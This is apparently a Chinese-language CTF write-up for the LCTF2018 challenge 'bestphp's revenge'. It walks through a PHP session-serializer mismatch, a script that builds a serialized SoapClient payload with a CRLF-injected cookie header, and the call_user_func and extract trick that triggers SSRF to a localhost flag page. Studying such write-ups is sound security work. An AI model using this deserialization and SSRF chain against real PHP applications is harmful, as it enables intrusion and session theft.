Fork me on GitHub

bestphp's revenge

LCTF2018——bestphp’s revenge

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
//index.php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET[f],$_POST);

session_start();
if(isset($_GET[name])){
$_SESSION[name] = $_GET[name];
}
var_dump($_SESSION);
$a = array(reset($_SESSION),'welcome_to_the_lctf2018');
call_user_func($b,$a);
?>
1
2
3
4
5
6
7
8
9
10
<?php
//flag.php
session_start();
echo 'only localhost can get flag!<br>';
echo $_SERVER["REMOTE_ADDR"];
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1")
{ $_SESSION['flag'] = $flag; }
var_dump($_SESSION);
//only localhost can get flag!

###思路

  • 通过SSRF,本地访问flag.php从而满足$_SERVER["REMOTE_ADDR"]==="127.0.0.1"得到flag

反序列化机制

  • 当序列化引擎与反序列化引擎不一致时,会发生一些问题
  • 不同引擎的存储方式:
    • php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
    • php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
    • php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值
  • 用php引擎进行序列化:
1
2
3
4
<?php
session_start();
$_SESSION['name'] = 'test';
?>
  • 结果为:1.png

    2.png

  • 可以看到,服务器端保存的session的文件名,就是用户访问时的PHPSESSID再加上前缀。

  • 反序列化的结果为name|s:4:"test"

  • 用php_serialize引擎序列化:3.png

  • 如果精心构造,以php_serialize的方式序列化session,再以php的方式反序列化session,即可反序列化内置类soapclient

Soapclient类

  • 通过soapclient类,可以具备SSRF能力

  • 不难想到要构造一个soapclient类

  • 而通过session改变序列化引擎,可以得到目的

  • 大致思路,通过call_user_func,设置序列化引擎为php_serialize,将session以这种引擎序列化的值保存,而默认的序列化引擎为php,详情参考这篇文章:PHP中SESSION反序列化机制

  • 先构造soap类:

  • 1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    <?php
    //soap构造脚本
    $target = 'http://127.0.0.1/baby_revenge/flag.php';
    $b = new SoapClient(null,array('location' => $target,
    'user_agent' => "AAA:BBB\r\n"."Cookie:PHPSESSID=7av36g5kq1rv9teofsboc3a046",
    'uri' => 'http://127.0.0.1/baby_revenge/index.php'));

    $se = serialize($b);
    echo $se."<br>";
    echo urlencode($se);
    ?>
  • 这里user_agent要这样构造,是因为要让服务器本地访问flag.php的时候以你的session去访问,所以这里还考了一个CRLF

  • 接着通过call_user_func函数,设置session_start的引擎为php_serialize,再将我们构造的soap类传入:

    4.png

    可以看到已经成功在session中写入我们构造的变量

  • 接着我们通过extract方法,变量覆盖原先的$b,使之变为call_user_func,让name=Soapclient,这样Soapclient类会调用一个不存在的方法,从而调用__call函数来触发ssrf5.png

  • 这是因为name=Soapclient后,经过$a = array(reset($_SESSION),'welcome_to_the_lctf2018');$a = {'Soapclient','welcome_to_the_lctf2018'} ,之后调用call_user_func函数,相当于:call_user_func({'Soapclient','welcome_to_the_lctf2018'}),当call_user_func的参数为数组时,代表调用类的方法,而Soapclient类并没有一个叫welcome_to_the_lctf2018的方法,因此会调用call函数,触发SSRF6.png